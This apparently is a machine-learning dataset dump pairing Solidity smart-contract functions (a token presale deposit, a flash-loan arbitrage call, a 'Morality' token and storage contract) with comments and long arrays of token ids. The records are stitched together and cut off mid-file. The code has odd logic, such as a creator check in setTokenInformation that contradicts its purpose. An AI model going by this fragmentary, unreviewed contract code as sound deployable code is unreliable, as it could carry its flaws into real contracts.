-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/1/0x66938285B15da67A93D80D08f8f2DA665449F08d/sources/contracts/AXLPresale.sol
|
Accepts msg.value for eth or _amount for ERC20 tokens return unused ETH
|
function userDeposit () public payable nonReentrant {
require(presaleStatus() == 1, "Not Active");
require(presale_info.raise_min <= msg.value, "Balance is insufficent");
require(presale_info.raise_max >= msg.value, "Balance is too much");
BuyerInfo storage buyer = buyers[msg.sender];
uint256 amount_in = msg.value;
uint256 allowance = presale_info.raise_max.sub(buyer.base);
uint256 remaining = presale_info.hardcap - status.raised_amount;
allowance = allowance > remaining ? remaining : allowance;
if (amount_in > allowance) {
amount_in = allowance;
}
uint256 tokensSold = amount_in.mul(presale_info.token_rate);
require(tokensSold > 0, "ZERO TOKENS");
require(status.raised_amount * presale_info.token_rate <= IERC20(presale_info.sale_token).balanceOf(address(this)), "Token remain error");
if (buyer.base == 0) {
status.num_buyers++;
}
buyers[msg.sender].base = buyers[msg.sender].base.add(amount_in);
buyers[msg.sender].sale = buyers[msg.sender].sale.add(tokensSold);
status.raised_amount = status.raised_amount.add(amount_in);
status.sold_amount = status.sold_amount.add(tokensSold);
if (amount_in < msg.value) {
msg.sender.transfer(msg.value.sub(amount_in));
}
emit UserDepsitedSuccess(msg.sender, msg.value);
}
| 4,929,522 |
[
1,
26391,
1234,
18,
1132,
364,
13750,
578,
389,
8949,
364,
4232,
39,
3462,
2430,
327,
10197,
512,
2455,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
729,
758,
1724,
1832,
1071,
8843,
429,
1661,
426,
8230,
970,
288,
203,
3639,
2583,
12,
12202,
5349,
1482,
1435,
422,
404,
16,
315,
1248,
8857,
8863,
203,
3639,
2583,
12,
12202,
5349,
67,
1376,
18,
11628,
67,
1154,
1648,
1234,
18,
1132,
16,
315,
13937,
353,
2763,
3809,
335,
319,
8863,
203,
3639,
2583,
12,
12202,
5349,
67,
1376,
18,
11628,
67,
1896,
1545,
1234,
18,
1132,
16,
315,
13937,
353,
4885,
9816,
8863,
203,
203,
3639,
605,
16213,
966,
2502,
27037,
273,
30143,
414,
63,
3576,
18,
15330,
15533,
203,
203,
3639,
2254,
5034,
3844,
67,
267,
273,
1234,
18,
1132,
31,
203,
3639,
2254,
5034,
1699,
1359,
273,
4075,
5349,
67,
1376,
18,
11628,
67,
1896,
18,
1717,
12,
70,
16213,
18,
1969,
1769,
203,
3639,
2254,
5034,
4463,
273,
4075,
5349,
67,
1376,
18,
20379,
5909,
300,
1267,
18,
354,
5918,
67,
8949,
31,
203,
203,
3639,
1699,
1359,
273,
1699,
1359,
405,
4463,
692,
4463,
294,
1699,
1359,
31,
203,
3639,
309,
261,
8949,
67,
267,
405,
1699,
1359,
13,
288,
203,
5411,
3844,
67,
267,
273,
1699,
1359,
31,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
2430,
55,
1673,
273,
3844,
67,
267,
18,
16411,
12,
12202,
5349,
67,
1376,
18,
2316,
67,
5141,
1769,
203,
203,
3639,
2583,
12,
7860,
55,
1673,
405,
374,
16,
315,
24968,
14275,
55,
8863,
203,
3639,
2583,
12,
2327,
18,
354,
5918,
67,
8949,
380,
4075,
5349,
67,
1376,
18,
2316,
67,
5141,
1648,
467,
654,
39,
3462,
2
] |
./partial_match/1/0x6726F91683c6e48a13661cc053cae5de5137DDB1/sources/TokenOrbit/tokenorbiter/1/0x6726f91683c6e48a13661cc053cae5de5137ddb1/HyperTraderTokenOrbiter.sol
|
Get marketId from token address Calculate repay amount (_amount + (2 wei)) Approve transfer from
|
function flashBeamOrbiterTokens(
address tokenIn,
uint256 amountIn,
string[] calldata exchanges,
address[] calldata path,
string calldata phaseShift,
uint256[] calldata minCoinSellAmounts,
uint256 minProfit
) onlyOwner external {
uint256 marketId = _getMarketIdFromTokenAddress(solo_addr, tokenIn);
uint256 repayAmount = _getRepaymentAmountInternal(amountIn);
IERC20(tokenIn).approve(solo_addr, repayAmount);
Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);
operations[0] = _getWithdrawAction(marketId, amountIn);
operations[1] = _getCallAction(
abi.encode(tokenIn, amountIn, exchanges, path, phaseShift, minCoinSellAmounts, (minProfit+repayAmount))
);
operations[2] = _getDepositAction(marketId, repayAmount);
Account.Info[] memory accountInfos = new Account.Info[](1);
accountInfos[0] = _getAccountInfo();
solo.operate(accountInfos, operations);
}
| 4,369,369 |
[
1,
967,
13667,
548,
628,
1147,
1758,
9029,
2071,
528,
3844,
261,
67,
8949,
397,
261,
22,
732,
77,
3719,
1716,
685,
537,
7412,
628,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
9563,
1919,
301,
1162,
70,
2165,
5157,
12,
203,
1377,
1758,
1147,
382,
16,
7010,
1377,
2254,
5034,
3844,
382,
16,
7010,
1377,
533,
8526,
745,
892,
431,
6329,
16,
203,
1377,
1758,
8526,
745,
892,
589,
16,
203,
1377,
533,
745,
892,
6855,
10544,
16,
203,
1377,
2254,
5034,
8526,
745,
892,
1131,
27055,
55,
1165,
6275,
87,
16,
203,
1377,
2254,
5034,
1131,
626,
7216,
203,
202,
13,
1338,
5541,
3903,
288,
203,
3639,
2254,
5034,
13667,
548,
273,
389,
588,
3882,
278,
548,
1265,
1345,
1887,
12,
87,
12854,
67,
4793,
16,
1147,
382,
1769,
203,
203,
3639,
2254,
5034,
2071,
528,
6275,
273,
389,
588,
426,
9261,
6275,
3061,
12,
8949,
382,
1769,
203,
3639,
467,
654,
39,
3462,
12,
2316,
382,
2934,
12908,
537,
12,
87,
12854,
67,
4793,
16,
2071,
528,
6275,
1769,
203,
203,
3639,
18765,
18,
1803,
2615,
8526,
3778,
5295,
273,
394,
18765,
18,
1803,
2615,
8526,
12,
23,
1769,
203,
203,
3639,
5295,
63,
20,
65,
273,
389,
588,
1190,
9446,
1803,
12,
27151,
548,
16,
3844,
382,
1769,
203,
3639,
5295,
63,
21,
65,
273,
389,
588,
1477,
1803,
12,
203,
5411,
24126,
18,
3015,
12,
2316,
382,
16,
3844,
382,
16,
431,
6329,
16,
589,
16,
6855,
10544,
16,
1131,
27055,
55,
1165,
6275,
87,
16,
261,
1154,
626,
7216,
15,
266,
10239,
6275,
3719,
203,
3639,
11272,
203,
3639,
5295,
63,
22,
65,
273,
389,
588,
758,
1724,
1803,
12,
27151,
548,
16,
2071,
528,
6275,
1769,
203,
203,
2
] |
pragma solidity ^0.5.7;
pragma experimental ABIEncoderV2;
// ------------------------------------------------------------------------
// Math library
// ------------------------------------------------------------------------
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256){
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// ------------------------------------------------------------------------
// Basic token interface
// ------------------------------------------------------------------------
contract IERC20 {
uint256 public totalSupply;
address public burnAddress = 0x0000000000000000000000000000000000000000;
function balanceOf(address who) view public returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Minted(address target, uint256 mintedAmount);
event Burned(address burner, uint256 burnedAmount);
}
// ------------------------------------------------------------------------
// Implementation of basic token interface
// ------------------------------------------------------------------------
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) public balances;
// ------------------------------------------------------------------------
// Get balance of user
// ------------------------------------------------------------------------
function balanceOf(address _owner) view public returns (uint256 balance) {
return balances[_owner];
}
// ------------------------------------------------------------------------
// Transfer tokens
// ------------------------------------------------------------------------
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// ------------------------------------------------------------------------
// Create tokens by adding to total supply and crediting the admin/owner
// ------------------------------------------------------------------------
function mintToken(address _target, uint256 _mintedAmount) public returns(bool){
balances[_target] = balances[_target].add(_mintedAmount);
totalSupply = totalSupply.add(_mintedAmount);
emit Minted(_target, _mintedAmount);
emit Transfer(address(0), address(this), _mintedAmount);
emit Transfer(address(this), _target, _mintedAmount);
return true;
}
// ------------------------------------------------------------------------
// Burn token by sending to to burn address & removing it from total supply
// ------------------------------------------------------------------------
function burn(uint256 _burnAmount) public {
address burner = msg.sender;
balances[burner] = balances[burner].sub(_burnAmount);
totalSupply = totalSupply.sub(_burnAmount);
emit Burned(burner, _burnAmount);
emit Transfer(burner, burnAddress, _burnAmount);
}
}
// ------------------------------------------------------------------------
// Ownable contract definition
// This is to allow for admin specific functions
// ------------------------------------------------------------------------
contract Ownable {
address payable public owner;
address payable public potentialNewOwner;
event OwnershipTransferred(address payable indexed _from, address payable indexed _to);
// ------------------------------------------------------------------------
// Upon creation we set the creator as the owner
// ------------------------------------------------------------------------
constructor() public {
owner = msg.sender;
}
// ------------------------------------------------------------------------
// Set up the modifier to only allow the owner to pass through the condition
// ------------------------------------------------------------------------
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
// ------------------------------------------------------------------------
// Transfer ownership to another user
// ------------------------------------------------------------------------
function transferOwnership(address payable _newOwner) public onlyOwner {
potentialNewOwner = _newOwner;
}
// ------------------------------------------------------------------------
// To ensure correct transfer, the new owner has to confirm new ownership
// ------------------------------------------------------------------------
function acceptOwnership() public {
require(msg.sender == potentialNewOwner);
emit OwnershipTransferred(owner, potentialNewOwner);
owner = potentialNewOwner;
}
}
// ------------------------------------------------------------------------
// Content moderatable contract definition
// This is to allow for moderator specific functions
// ------------------------------------------------------------------------
contract Moderatable is Ownable{
mapping(address => bool) public moderators;
event ModeratorAdded(address indexed _moderator);
event ModeratorRemoved(address indexed _moderator);
// ------------------------------------------------------------------------
// Upon creation we set the first moderator as the owner
// ------------------------------------------------------------------------
constructor() public {
addModerator(owner);
}
// ------------------------------------------------------------------------
// Set up the modifier to only allow moderators to pass through the condition
// ------------------------------------------------------------------------
modifier onlyModerators() {
require(moderators[msg.sender] == true);
_;
}
// ------------------------------------------------------------------------
// Add a moderator
// ------------------------------------------------------------------------
function addModerator(address _newModerator) public onlyOwner {
moderators[_newModerator] = true;
emit ModeratorAdded(_newModerator);
}
// ------------------------------------------------------------------------
// Remove a moderator
// ------------------------------------------------------------------------
function removeModerator(address _moderator) public onlyOwner {
moderators[_moderator] = false;
emit ModeratorRemoved(_moderator);
}
}
// ------------------------------------------------------------------------
// Storage token definition
// ------------------------------------------------------------------------
contract StorageToken is Moderatable{
struct Content{
address contentCreator;
uint256 articleId;
uint256 subArticleId;
uint256 contentId;
uint256 timestamp;
string data;
}
Content[] private allContents;
event ContentAdded(address contentCreator, uint256 indexed articleId, uint256 indexed subArticleId, uint256 indexed contentId, uint256 timestamp);
event ContentAddedViaEvent(address contentCreator, uint256 indexed articleId, uint256 indexed subArticleId, uint256 indexed contentId, uint256 timestamp, string data);
// ------------------------------------------------------------------------
// Add content to event for content persistance.
// By storing the content in an event (compared to the experiment contract)
// we get very cheap storage
// ------------------------------------------------------------------------
function addContentViaEvent(address contentCreator, uint256 articleId, uint256 subArticleId, uint256 contentId, uint256 timestamp, string memory data) onlyModerators public {
emit ContentAddedViaEvent(contentCreator, articleId, subArticleId, contentId, timestamp, data);
}
// ------------------------------------------------------------------------
// Add content to struct for content persistance
// ------------------------------------------------------------------------
function addContent(address contentCreator, uint256 articleId, uint256 subArticleId, uint256 contentId, uint256 timestamp, string memory data) onlyModerators public {
require(!contentExists(contentId));
allContents.push(Content(contentCreator, articleId, subArticleId, contentId, timestamp, data));
emit ContentAdded(contentCreator, articleId, subArticleId, contentId, timestamp);
}
// ------------------------------------------------------------------------
// Does contentId already exist
// ------------------------------------------------------------------------
function contentExists(uint256 contentId) internal view returns(bool exists) {
exists = false;
for(uint i=0;i<allContents.length;i++) {
Content memory c = allContents[i];
if(c.contentId == contentId){
exists = true;
}
}
}
// ------------------------------------------------------------------------
// Get Content by contentId
// ------------------------------------------------------------------------
function getContentById(uint256 contentId) public view returns(Content memory contents) {
for(uint i=0;i<allContents.length;i++) {
Content memory c = allContents[i];
if(c.contentId == contentId){
contents = c;
i = allContents.length;
}
}
}
// ------------------------------------------------------------------------
// Get all content ids
// ------------------------------------------------------------------------
function getAllContentIds() public view returns(uint256[] memory contentIds) {
contentIds = new uint256[](allContents.length);
for(uint i=0;i<allContents.length;i++) {
Content memory c = allContents[i];
contentIds[i] = c.contentId;
}
}
// ------------------------------------------------------------------------
// Get all content ids for article
// ------------------------------------------------------------------------
function getAllContentForArticle(uint256 articleId) public view returns(Content[] memory content) {
content = new Content[](countContentForArticle(articleId));
uint counter = 0;
for(uint i=0;i<allContents.length;i++) {
Content memory c = allContents[i];
if(c.articleId == articleId){
content[counter] = c;
counter++;
}
}
}
// ------------------------------------------------------------------------
// Count content for article
// ------------------------------------------------------------------------
function countContentForArticle(uint256 articleId) public view returns(uint256 count) {
count = 0;
for(uint i=0;i<allContents.length;i++) {
Content memory c = allContents[i];
if(c.articleId == articleId){
count++;
}
}
}
// ------------------------------------------------------------------------
// Get all content ids for sub-article
// ------------------------------------------------------------------------
function getAllContentForSubArticle(uint256 subArticleId) public view returns(Content[] memory content) {
content = new Content[](countContentForSubArticle(subArticleId));
uint counter = 0;
for(uint i=0;i<allContents.length;i++) {
Content memory c = allContents[i];
if(c.subArticleId == subArticleId){
content[counter] = c;
counter++;
}
}
}
// ------------------------------------------------------------------------
// Count content for sub-article
// ------------------------------------------------------------------------
function countContentForSubArticle(uint256 subArticleId) public view returns(uint256 count) {
count = 0;
for(uint i=0;i<allContents.length;i++) {
Content memory c = allContents[i];
if(c.subArticleId == subArticleId){
count++;
}
}
}
}
// ------------------------------------------------------------------------
// Morality token definition
// ------------------------------------------------------------------------
contract Morality is ERC20, StorageToken {
string public name;
string public symbol;
uint256 public decimals;
address payable public creator;
event LogFundsReceived(address sender, uint amount);
event WithdrawLog(uint256 balanceBefore, uint256 amount, uint256 balanceAfter);
event UpdatedTokenInformation(string newName, string newSymbol);
// ------------------------------------------------------------------------
// Constructor to allow total tokens minted (upon creation) to be set
// Name and Symbol can be changed via SetInfo (decided to remove from constructor)
// ------------------------------------------------------------------------
constructor(uint256 _totalTokensToMint) payable public {
name = "Morality";
symbol = "MO";
totalSupply = _totalTokensToMint;
decimals = 18;
balances[msg.sender] = totalSupply;
creator = msg.sender;
emit LogFundsReceived(msg.sender, msg.value);
}
// ------------------------------------------------------------------------
// Payable method allowing ether to be stored in the contract
// ------------------------------------------------------------------------
function() payable external {
emit LogFundsReceived(msg.sender, msg.value);
}
// ------------------------------------------------------------------------
// Transfer token (availabe to all)
// ------------------------------------------------------------------------
function transfer(address _to, uint256 _value) public returns (bool success){
return super.transfer(_to, _value);
}
// ------------------------------------------------------------------------
// Add content via event to event for content persistance (cheap)
// ------------------------------------------------------------------------
function addContentViaEvent(address contentCreator, uint256 articleId, uint256 subArticleId, uint256 contentId, uint256 timestamp, string memory data) onlyModerators public {
super.addContentViaEvent(contentCreator, articleId, subArticleId, contentId, timestamp, data);
}
// ------------------------------------------------------------------------
// Add content for content persistance (expensive)
// ------------------------------------------------------------------------
function addContent(address contentCreator, uint256 articleId, uint256 subArticleId, uint256 contentId, uint256 timestamp, string memory data) onlyModerators public {
super.addContent(contentCreator, articleId, subArticleId, contentId, timestamp, data);
}
// ------------------------------------------------------------------------
// Update token information
// ------------------------------------------------------------------------
function setTokenInformation(string memory _name, string memory _symbol) onlyOwner public {
require(msg.sender != creator);
name = _name;
symbol = _symbol;
emit UpdatedTokenInformation(name, symbol);
}
// ------------------------------------------------------------------------
// Withdraw ether from the contract
// ------------------------------------------------------------------------
function withdraw(uint256 amount) onlyOwner public returns(bool){
require(amount <= address(this).balance);
address(owner).transfer(amount);
emit WithdrawLog(address(owner).balance.sub(amount), amount, address(owner).balance);
return true;
}
// ------------------------------------------------------------------------
// Mint token
// ------------------------------------------------------------------------
function mintToken(address target, uint256 mintedAmount) onlyOwner public returns (bool){
return super.mintToken(target, mintedAmount);
}
// ------------------------------------------------------------------------
// Burn token (send to burn address)
// ------------------------------------------------------------------------
function burn(uint256 burnAmount) onlyOwner public{
return super.burn(burnAmount);
}
// ------------------------------------------------------------------------
// To remove contract from blockchain
// ------------------------------------------------------------------------
function deprecateContract() onlyOwner public{
selfdestruct(creator);
}
}
|
------------------------------------------------------------------------ Count content for article ------------------------------------------------------------------------
|
function countContentForArticle(uint256 articleId) public view returns(uint256 count) {
count = 0;
for(uint i=0;i<allContents.length;i++) {
Content memory c = allContents[i];
if(c.articleId == articleId){
count++;
}
}
}
| 7,316,429 |
[
1,
29461,
6974,
913,
364,
7559,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1056,
1350,
1290,
7880,
12,
11890,
5034,
7559,
548,
13,
1071,
1476,
1135,
12,
11890,
5034,
1056,
13,
288,
203,
3639,
1056,
273,
374,
31,
203,
3639,
364,
12,
11890,
277,
33,
20,
31,
77,
32,
454,
6323,
18,
2469,
31,
77,
27245,
288,
203,
5411,
3697,
3778,
276,
273,
777,
6323,
63,
77,
15533,
203,
5411,
309,
12,
71,
18,
11480,
548,
422,
7559,
548,
15329,
203,
7734,
1056,
9904,
31,
203,
5411,
289,
203,
3639,
289,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma experimental ABIEncoderV2;
pragma solidity 0.6.12;
//
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
//
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
